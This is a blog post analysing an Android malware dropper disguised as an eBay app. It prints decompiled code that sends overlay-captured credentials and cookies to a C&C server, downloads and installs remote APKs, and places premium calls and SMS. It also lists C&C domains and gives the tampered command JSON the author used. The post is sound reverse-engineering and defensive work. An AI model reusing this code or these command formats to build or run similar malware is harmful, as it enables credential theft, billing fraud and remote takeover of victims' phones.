Malware Dropper disguised as an Ebay Android App

Analysis on a malware dropper which was disguised as an Ebay Android app, with a lot of features like premium sms, keylogger, overlay attacks.

Date and Time of last update Tue 27 Sep 2022
  

Especially in the Android ecosystem, where it is easy for a user to install an application from a 3rd party source, we have to be very careful with what we trust to install to our device. In this post we will see an analysis on a malware dropper app that was first seen on 21/09/2022 and given the freshness of it, I decided to take a look and see what I could find under the hood. It poses as an Ebay application to trick users into installing it. You can find a sample of the malware on bazaar.abuse.ch if you would like to play with it.

The following is an overview of the app:

[------------------------------------Package Details---------------------------------------]:
|    Application Name  :eBayMobile
|    Package Name      :com.wife.dizzy
|    Version code      :1
|    Version Name      :1.0
|    Mimimum SDK       :19
|    Target  SDK       :24
|    Max SDK           :None
|    Sha256            :8b321553f1a269ee4b68a02162ba2d14c71a92907b6001ff3db0fe5bae6b3430
|    Allow Backup      :true 
[------------------------------------------------------------------------------------------]


Overview of the analysis:

At First Glance

The application was installed on an emulator and the entire analysis was done there. In many cases malware employ techniques to prevent the application from behaving as it would if it was running on a normal device. In our case this was not an issue, although as it turned out later on, it does have a method checking for emulators. The following short video is how the application behaves right after it is installed.

Within the ~10 seconds of the video you can already see the "aggressive" notifications coming in, informing the user that accessibility service access is required in order for the application to work properly. This is not something new, in many cases malware was found to be taking advantage of the accessibility service to deploy overlay attacks and in general perform actions on behalf of the user. Accessibility service is powerful, and as uncle Ben said, "with great power, comes great responsibility". Well, this responsibility is delegated to the end user of the Android device, as the user is responsible to decide which apps should or should not have access to that service. The user has to explicitly allow the app to use the accessibility service, otherwise the app is pretty much useless.

How does the app convince the user to turn on the accessibility service for it though?

That technique is also well known, become as annoying as you can be! That is exactly what the app is doing immediately after opening it up. It sets up a repeating alarm(which we will see later on during the static analysis) to trigger a notification to the user every several seconds. This is far too blatant not to raise any suspicion, but if they keep using it across different families of malware it should have a good success rate.

Now, lets assume that the user is naive enough to get convinced and turn on the accessibility service for the app.

The following is a video showing the app behavior after that point.

Several permission requests are popping up and given that now the app has control over the screen it can accept the permissions it requests! Finally, a toast message comes up informing us the the "eBay" app has been uninstalled! That is not true and it is there to merely discourage suspicious users from further investigation. The app has in the manifest an alias name and icon declared in its AndroidManifest which as you can see also in the video is mimicking the "Settings" application. Upon attempting to check the application info of this "Settings" app, then the app forcefully closes it.

The following figures show the dialogs that the application auto approves for itself and the final toast:

Permissions firstpart

Permissions secondpart

That concludes the overview from the standpoint of a simple user. Let us now start digging in!


Getting the sources

In order to understand better what we are dealing with it would be nice to try to reverse engineer the apk. Employing Jadx can help us out in this step.

The first thing to check is the AndroidManifest file where we can find declared the permissions we saw earlier along with many other components(services, activities etc). Trying to find the "Main" activity leads us to two important findings. First, that there is an activity-alias declared for what appears to be the MainActivity and second that the name of the path of the activity com.sdktools.android.MainActivity can not be found in the sources decompiled by Jadx. The activity-alias explains how the app is able to change its icon and name after gaining access to the accessibility service. The second thing, indicates that something weird is happening since the activity is declared in the Manifest and therefore it should be available during runtime!

This smells like a packer was used to hide the true nature of the code the app contains. Maybe it is worth to write a blog post about how packers work and how to unravel them but for now I am not going to go into a lot of details, all we need to know is that it can hide part of the code and make it available only during runtime when the app is being loaded.

In this case the ClassLoader#loadClass was used to load the classes dynamically during runtime. The general concept in such cases is to employ Frida and hook an interesting class that would reveal to us the dex file being loaded. There many different ways to get the loaded file, we could trace back the exact way the file is being loaded and use Frida to show us that file, we could hook classes related to writing files etc. In our case there was not much of an effort from the malware developers to hide the loaded file, as it is also saved in the internal storage of the device.

Printing the DexPathList is a straight forward way to get the location of the file which is saved locally.

DexPathList[[zip file "/data/user/0/com.wife.dizzy/app_DynamicOptDex/KCFj.json"],nativeLibraryDirectories=[, /system/lib, /system/product/lib, /system/vendor/lib]]

For trickier situations another option to use and dump any dex file which could be found in memory is the frida-dexdump tool.

Loading that file into Jadx reveals MainActivity along with the rest of the classes which were not available before.


Network Traffic Analysis

Before proceeding any further with the static analysis of the dynamic loaded code, let us take a look on the network traffic generated throughout the entire process. The emulator used to run the application was configured to use Burp as a proxy. This way we could analyze and/or repeat any of the requests.

The following figure shows an overview of the requests that had been made during the first glance of the app.

network traffic

The first request is a GET and using as an Authorization header the deviceID for identifying the device, it receives a JSON with instructions.

[REQUEST]
GET /api/v1/device/check?screen=true HTTP/1.1
Authorization: 45816ek76w328n5t
Content-Type: application/json
Host: lalabanda.com
[...]


[RESPONSE]
HTTP/1.1 200 OK
[...]

{
   "injects_loaded":false,
   "apks":[
   ],
   "ussd":[
   ],
   "notifications":[
   ],
   "settings":{
      "hide_icon":true,
      "base_url":"",
      "zip_file_url":"http:\/\/lalabanda.com\/storage\/zip\/I0DbJLUN9PjWtfnx6YiOeWhkF1gPHgRqwtiVTBIg.zip",
      "zip_version":""
   },
   "locked":false,
   "sms":null,
   "enable_keylogger":null,
   "injectedApps":[
   ],
   "smsAdminRequested":false,
   "proxyServer":null,
   "commands":null,
   "stockInjects":[
      "alior.bankingapp.android",
      "app.wizink.es",
      [...]
      "www.ingdirect.nativeframe"
   ],
   "openApp":null,
   "showScreen":false,
   "soundEnabled":false,
   "action_home":0,
   "action_back":0,
   "bulk_sms":0,
   "bulk_body":null,
   "remove_app_by_id":null,
   "action_request_pin":false,
   "remove_all":0,
   "action_request_phone":false,
   "approvedPin":null,
   "teamViewerOptions":null,
   "disabledPackages":[
   ]
}

There are several interesting fields in the response. Besides the fields that correspond to commands, there is also a list of apps in the field stockInjects.

The response also contains a field zip_file_url which is a link to a zip file. Downloading this zip file and inspecting it, reveals that it contains html files that are being used for overlay attacks in the applications defined in the field stockInjects.

Another interesting endpoint is the following, which provides mirrors of the C&C server in the case that it will not be available:

[REQUEST]
GET /api/mirrors HTTP/1.1
Host: lalabanda.com
[...]


[RESPONSE]
HTTP/1.1 200 OK
[...]

eyJkb21haW5zIjpbImh0dHA6XC9cL2NzbG9uLmNvbSIsImh0dHA6XC9cL2NhcmljaXUtY2FyaWxhcy5jb20iLCJodHRwOlwvXC9jYXJpbGFzLWNhcmlsYXMubmV0IiwiaHR0cDpcL1wvY2FyaWxhcy1jYXJpbGFzLnRvcCJdfQ==


As you can see the response is a Base64 encoded string which results in {"domains":["http:\/\/cslon.com","http:\/\/cariciu-carilas.com","http:\/\/carilas-carilas.net","http:\/\/carilas-carilas.top"]}

There is also an endpoint to download what seems to be a third stage payload, along with several others which, either update the server on the progress of the infection(e.g if the user has provided access to the accessibility service), or updates to specific fields used in other operations.

[REQUEST]
GET /payload HTTP/1.1
Host: lalabanda.com
[...]


[RESPONSE]
HTTP/1.1 200 OK
content-type: application/octet-stream
content-length: 997816
accept-ranges: bytes
connection: close

[...]


The APK downloaded from the /payload endpoint was far from interesting. It does not contain any useful code and the purpose of its existence is not clear.

Interesting Features

Let us now explore the dynamically loaded code for what functionality is offered through this malware. Lets first try to find the classes responsible for the communication to the server.

In the SdkManagerImpl class there is an implementation of the SdkApi interface in method createApiMock.

private SdkApi createApiMock(final Network network2) {
    return new SdkApi() { // from class: com.sdktools.android.bot.SdkManagerImpl.7
        @Override // com.sdktools.android.bot.SdkApi
        public RestCall makePost(String str, Map<String, ?> map) {
            Timber.d("adminUrl post getBaseApiUrl " + SdkManagerImpl.this.getBaseApiUrl() + str, new Object[0]);
            Network network3 = network2;
            return network3.makePost(SdkManagerImpl.this.getBaseApiUrl() + str, map);
        }

        @Override // com.sdktools.android.bot.SdkApi
        public RestCall makeGet(String str, Map<String, String> map) {
            Timber.d("adminUrl get getBaseApiUrl " + SdkManagerImpl.this.getBaseApiUrl() + str, new Object[0]);
            Network network3 = network2;
            return network3.makeGet(SdkManagerImpl.this.getBaseApiUrl() + str, map);
        }
    };
}


The POST and GET requests are happening using the makePost and makeGet shown above, respectively. The following figure shows a list of these requests through the available code, and the names of the endpoints can already be a great help in figuring out what the endpoint is doing.

makeRequests

This search in Jadx yields 26 results, amongst them we can find even endpoints that we did not see in our previous network analysis. By checking the endpoints along with the full name of the class they are found into, we can already have a good overview of the features offered by the malware!

Overlay Attacks in other apps

If you recall from earlier, there was a huge list of apps communicated from the C&C server. This list, along with the zip file that it downloaded and contains HTML files for each of these apps can be combined in an effort to trick the user into taking actions that would benefit the malware developers. A user for example could believe that the banking app that is installed on the device is opening up, though what would actually be happening is the malware would present the user the HTML page in a Webview and would log the credentials being used.

Lets see first how this looks like to the user. The app Bither was picked randomly from the list of apps the malware recognizes. The following video shows what the user perceives while attempting to use the app.

Since things might not be that clear to understand in the video, lets see in details what happens. I have registered an account with the app so initially I am already logged in the app. The user attempts to interact with the app, though as soon as the app opens, user is redirected to a login page! When the user hits the "overview button" then we can see that there are two apps open instead of just the Bither app and a split second after the overview is entered the most recent app window is removed, leaving only the Bither windows remaining in the view. Pressing again the "overview button" the login window reappears.

This is basically the overlay attack being executed by the malware. As soon as the app of interest comes to the foreground it executes a Webview along with the corresponding HTML file for that specific app.

The following is a snippet from the code responsible for the overlay attack from the class ViewerActivityInterfaceImpl:

private void handleData(Activity activity) {
        try {
            this.webView.clearView();
            String injectPath = this.injectModel.getInjectPath();
            if (!injectPath.startsWith("http")) {
                injectPath = "file:///" + injectPath;
            }
            this.webView.loadUrl(injectPath);
            Timber.d("INJECTS -> display file: " + injectPath, new Object[0]);
        } catch (Exception e) {
            e.printStackTrace();
            activity.finishAffinity();
        }
    }


private void init() {
        this.webView.getSettings().setDomStorageEnabled(true);
        if (Build.VERSION.SDK_INT >= 21) {
            this.webView.getSettings().setMixedContentMode(0);
        }
        WebChromeClient webChromeClient = new WebChromeClient() { // from class: com.sdktools.android.bot.components.injects.system.ViewerActivityInterfaceImpl.1
            @Override // android.webkit.WebChromeClient
            public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
                String message = consoleMessage.message();
                if (!TextUtils.isEmpty(message)) {
                    InjectHandler injectHandler = InjectComponent.get().getConfigsProvider().getInjectHandler();
                    ViewerActivityInterfaceImpl viewerActivityInterfaceImpl = ViewerActivityInterfaceImpl.this;
                    injectHandler.handleWebViewLog(viewerActivityInterfaceImpl, viewerActivityInterfaceImpl.injectModel.getApplicationId(), message);
                }
                return super.onConsoleMessage(consoleMessage);
            }
        };
        WebViewClient webViewClient = new WebViewClient() { // from class: com.sdktools.android.bot.components.injects.system.ViewerActivityInterfaceImpl.2
            @Override // android.webkit.WebViewClient
            public boolean shouldOverrideUrlLoading(WebView webView, String str) {
                Timber.d("INJECTS -> ulr loaded: " + str, new Object[0]);
                webView.loadUrl(str);
                return true;
            }
        };
        this.webView.getSettings().setJavaScriptEnabled(true);
        this.webView.getSettings().setLoadWithOverviewMode(true);
        this.webView.getSettings().setAllowFileAccess(true);
        this.webView.getSettings().setSaveFormData(true);
        this.webView.getSettings().setAppCacheEnabled(false);
        this.webView.getSettings().setCacheMode(2);
        this.webView.setBackgroundColor(0);
        this.webView.setWebViewClient(webViewClient);
        this.webView.setWebChromeClient(webChromeClient);
    }

Do notice the overly permissive webview that the malware app is setting up in order to serve the fake HTML file.

When the user fills in the credentials like in the video above, then at the same time a request is being made as shown below, sending these credentials to the server:

POST /api/v1/device/credentials HTTP/1.1
Host: lalabanda.com
[...]

{"password":" ","applicationId":"com.Bither.one","email":"[email protected] : secretPassword"}


It is very important to note, that right after the overlay attack the user is able to use the Bither app as before without the attack taking place again. That is because the server now is notified that the app has already been injected so there is no need to do it again. This is done through the endpoint GET /api/v1/device/check which we saw earlier, that has the instructions the app should follow. Finally, the following snippet is from the class InjectHandlershowing how the credentials stolen from the overlay attack are being sent to the server.

public void sendData(final String str, final String str2) {
     if (!this.data.containsKey(str)) {
         this.data.put(str, str2);
     }
     setInjectWasShowed(str, true);
     HashMap hashMap = new HashMap();
     if (str.contains("cookie")) {
         hashMap.put("cookie", str2);
         component().api().makePost("device/cookie", hashMap).enqueue(new RestCallback() { // from class: com.sdktools.android.bot.components.injects.mock.InjectHandler.3
             @Override // com.sdktools.android.bot.rest.RestCallback
             public void onSuccess(RestResponse restResponse) {
                 if (restResponse.getResponseCode() == 0) {
                     Timber.d("device/credentials not success. Call onError", new Object[0]);
                     onError(new Throwable());
                     return;
                 }
                 InjectHandler.this.onRequestSuccess(str, str2);
             }

             @Override // com.sdktools.android.bot.rest.RestCallback
             public void onError(Throwable th) {
                 InjectHandler.this.onRequestError(str, str2);
             }
         });
         return;
     }
     hashMap.put("email", str2);
     hashMap.put("password", " ");
     hashMap.put("applicationId", str);
     component().api().makePost("device/credentials", hashMap).enqueue(new RestCallback() { // from class: com.sdktools.android.bot.components.injects.mock.InjectHandler.4
         @Override // com.sdktools.android.bot.rest.RestCallback
         public void onSuccess(RestResponse restResponse) {
             if (restResponse.getResponseCode() == 0) {
                 Timber.d("device/credentials not success. Call onError", new Object[0]);
                 onError(new Throwable());
                 return;
             }
             InjectHandler.this.onRequestSuccess(str, str2);
         }

         @Override // com.sdktools.android.bot.rest.RestCallback
         public void onError(Throwable th) {
             InjectHandler.this.onRequestError(str, str2);
         }
     });
 }


SMS & Call Premium Services

One of the "mainstream" features included in most recent malware families is the ability to subscribe you to Premium services whether this can be done by sending an SMS or making a call. The command whether the app should send a message or make a call comes again from the endpoint GET /api/v1/device/check. Within the JSON payload received from that endpoint, there are two parameters, the ussd and the sms, that are responsible for making a call or sending an sms. The process is that the app get a command from the server through this GET endpoint, instructing it to call or send an SMS to a number specified in the JSON payload. Since in our case there was not such a command coming in from the server, by analyzing the corresponding methods involved we created that payload and using Burp we tampered with the response getting in from the server once the app was making that request. The following snippet shows the tampered JSON:

{
   "injects_loaded":true,
   "apks":[
      
   ],
   "ussd":[
      {
         "id":"1",
         "code":"31600123456"
      }
   ],
[...]
   "sms":{
      "id":"1",
      "phone_number":"31600123456",
      "message":"subscribe me to your awesome premium service"
   },
[...]


Here is what the device looks like immediately after receiving the JSON payload above:

call-sms-premium-services

A call starts right away and an SMS was sent. This means that if this was a real command from the server we would be charged. The call might be noticeable by the user if she/he is close to the device at that point but the SMS option is much stealthier.

There are two dedicated endpoints for updating the server on the call or SMS attack scenario. For the call, a POST request (POST /api/v1/device/ussd-run) is issued with the post body having only the id as parameter which in our case that was 1. The response from the server was 500 though and that is probably due to the invalid id, as the server did not initiate the attack. The SMS endpoint is another POST request (POST /api/v1/device/read-sms) with again the post body being only the id, but this time the server answers properly with 200 and a json response of {"success":true}.

Let us now take a look to the methods responsible for the above feature.

First the part that handles the calls:

public void onSyncEvent(JsonObject jsonObject) {
  JsonArray asJsonArray;
  if (JsonUtils.hasObject(jsonObject, "ussd") && (asJsonArray = jsonObject.getAsJsonArray("ussd")) != null && asJsonArray.size() > 0) {
      JsonObject asJsonObject = asJsonArray.get(0).getAsJsonObject();
      onUssdCodeReceived(asJsonObject.get("id").toString(), asJsonObject.get("code").getAsString());
  }
  if (JsonUtils.hasObject(jsonObject, "action_request_phone") && jsonObject.get("action_request_phone").getAsBoolean()) {
      this.requestPhoneTime = System.currentTimeMillis();
      onUssdCodeReceived("action_request_phone", "*101#");
  }
}

private void onUssdCodeReceived(String str, String str2) {
  Timber.d("log -> 1[%s], 2[%s]", str, str2);
  try {
      launchUssdCode(context(), str2);
      HashMap hashMap = new HashMap();
      hashMap.put("id", str);
      api().makePost("device/ussd-run", hashMap).enqueue(new RestCallback() { // from class: com.sdktools.android.bot.components.UssdComponent.1
          @Override // com.sdktools.android.bot.rest.RestCallback
          public void onError(Throwable th) {
          }

          @Override // com.sdktools.android.bot.rest.RestCallback
          public void onSuccess(RestResponse restResponse) {
          }
      });
  } catch (Exception e) {
      Timber.e(e, "code received: " + str + " | " + str2, new Object[0]);
  }
}

private void launchUssdCode(Context context, String str) throws Exception {
  this.ussdCalledTimeInMs = System.currentTimeMillis();
  Timber.d("log -> [%s]", str);
  String replaceAll = str.replaceAll("#", Uri.encode("#"));
  Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + replaceAll));
  intent.addFlags(268435456);
  intent.addFlags(536870912);
  context.startActivity(intent);
}

The onSyncEvent retrieves the id and the code, where code is the number that the call will be made to. The onUssdCodeReceived makes the relevant POST request and the launchUssdCode makes the actual call.

Below is the code for the SMS part, where again the onSyncEvent gets the id, phone_number and the message and the onSmsComeToSend send the actual SMS> :

public void onSyncEvent(JsonObject jsonObject) {
  JsonElement jsonElement;
  if (JsonUtils.hasObject(jsonObject, "sms")) {
      JsonObject asJsonObject = jsonObject.get("sms").getAsJsonObject();
      if (asJsonObject != null) {
          onSmsComeToSend(asJsonObject.get("id").toString(), asJsonObject.get("phone_number").getAsString(), asJsonObject.get("message").getAsString());
      } else {
          return;
      }
  }
  if (JsonUtils.hasObject(jsonObject, "smsAdminRequested") && (jsonElement = jsonObject.get("smsAdminRequested")) != null) {
      applyRequestSms(jsonElement.getAsBoolean());
  }
}


private void onSmsComeToSend(String str, String str2, String str3) {
  if (!TextUtils.isEmpty(str2) && !TextUtils.isEmpty(str3)) {
      SmsManager.getDefault().sendTextMessage(str2, null, str3, null, null);
      onSmsWasSent(str);
  }
}


TeamViewer Remote Control

A command is coming in from the C&C server to install the TeamViewer Host app, a new command then, containing the email and password required to add the device to that account comes and within seconds the device is available to be controlled from the teamviewer of that account. How much more convenient can it be?

Lets see that attack in more detail. First of all, similar to the previous cases, the commands are coming in, in the form of a JSON payload. In order to install an APK all that is required is to declare a URL to download it from in the proper field of the JSON. In the field apks we provide the following content:

[...]
"apks":[
   {
      "url":"http://127.0.0.1:8989/com.teamviewer.host.market_1517068_apps.evozi.com.apk",
      "id":"23"
   }
],
[...]


This would initiate a "download and install" process and the following snippet shows some relevant parts:

public void onSyncEvent(JsonObject jsonObject) {
  JsonArray asJsonArray;
  boolean z = false;
  if (JsonUtils.hasObject(jsonObject, "apks") && (asJsonArray = jsonObject.getAsJsonArray("apks")) != null && asJsonArray.size() > 0) {
      sendServerLog("onSyncEvent array apks - " + asJsonArray.toString());
      JsonObject asJsonObject = asJsonArray.get(0).getAsJsonObject();
      handleDownload(asJsonObject.get("url").getAsString(), asJsonObject.get("id").getAsString());
  }
[...]


void handleDownload(String str, String str2) {
  if (!isLauncherServiceRunning() && !this.downloadingList.contains(str2)) {
      this.downloadingList.add(str2);
      Uri parse = Uri.parse(str);
      this.downloadManager.add(new DownloadRequest(parse).setRetryPolicy(new DefaultRetryPolicy()).setDestinationURI(createDestinationUri(parse)).setPriority(DownloadRequest.Priority.HIGH).setStatusListener(createListener(str2)));
  }
}
[...]


private DownloadStatusListenerV1 createListener(final String str) {
  sendServerLog("download started appId:" + str);
  return new DownloadStatusListenerV1() { // from class: com.sdktools.android.bot.components.InstallsComponent.4
      @Override // com.thin.downloadmanager.DownloadStatusListenerV1
      public void onProgress(DownloadRequest downloadRequest, long j, long j2, int i) {
      }

      @Override // com.thin.downloadmanager.DownloadStatusListenerV1
      public void onDownloadComplete(DownloadRequest downloadRequest) {
          String path = downloadRequest.getDestinationURI().getPath();
          String packageName = InstallsComponent.getPackageName(InstallsComponent.this.context(), path);
          InstallsComponent.this.install(new InstallInfoModel(str, path, packageName));
          InstallsComponent installsComponent = InstallsComponent.this;
          installsComponent.sendServerLog("download complete " + packageName);
          InstallsComponent.this.downloadingList.remove(str);
      }
[...]



private void installApk(File file) {
  Intent intent = new Intent("android.intent.action.VIEW");
  if (Build.VERSION.SDK_INT >= 24) {
      intent.setDataAndType(FileProvider.getUriForFile(context(), "com.sdktools.android.provider", file), "application/vnd.android.package-archive");
      intent.addFlags(268435459);
  } else {
      intent.setDataAndType(Uri.fromFile(file), "application/vnd.android.package-archive");
      intent.setFlags(268435456);
  }
  try {
      context().startActivity(intent);
  } catch (Exception e) {
      e.printStackTrace();
  }
}


The process starts with the onSyncEvent which gets the download url and the id, which are being passed to the handleDownload method. After a few other methods in between finally installApk is being called to install the apk which is now downloaded to the device. You can check here what the user sees in the device when the app is being installed, though it is not very interesting.

Ok, now the teamviewer app is installed to the device and the attackers want to activate it and add it to their fleet of devices in their teamviewer account. Lets see the JSON payload required to do that:

[...]
"teamViewerOptions":{
   "username":"teamViewer_username",
   "password":"teamViewer_password",
   "need_open":1,
   "need_connect":1
},
[...]


The need_open and need_connect are keeping the teamviewer status, basically 0 is for disabled, 1 for requested and 2 for enabled. So what the malware accomplishes with that command is, by logging in the app with the user account, the device can be added in the available devices of the user for remote control! After this JSON payload was sent the following request was sent to the server:

[REQUEST]
POST /api/v1/device/tw-status HTTP/1.1
Host: lalabanda.com
[...]

{"connect_status":"0","open_status":"2"}


[RESPONSE]
HTTP/1.1 200 OK
[...]

{"success":true}

Since the open_status is having a value of 2, this means that the devices is ready to receive a request for a connection. Checking our teamviewer account we can verify if we have that device added and we can also validate this by opening the app itself in the device.

tv

As you can see the app was successfully added to our list of devices we can control remotely. Upon initiating the connection to the device to control it a similar request to the above was issued but this time the connect_status value has a value of 2, indicating that it is enabled.

There are more features that this malware offers but there is no point in analyzing all of them in this post. I wanted to focus only on the most interesting ones and the ones we see most often in malware families of this type. Among other things it can do are:

  • Keylogger
  • Screencast
  • Stealing the PIN number
  • Specific handling for Xiaomi devices and the securitycenter
  • Stealing cookies from the webview


Conclusion

The features presented are not unique and as a matter of fact although bazaar.abuse.ch classifies the malware, based on the signature, to the Hydra family, identical code in some parts was observed in other malware families like the Anubis and BianLian. What we infer from this, is that malware developers re-use most parts of past malwares especially if they have resulted in high success rates based on their goals.

Feel free to download the sample from here, and experiment in a contained environment.

Hope you liked it and as always reach out to me if you have anything interesting to share!

Disclaimer: The information provided here regarding the malware are still valid as it is new. If you decide to make use of any of the information provided it is at your own risk.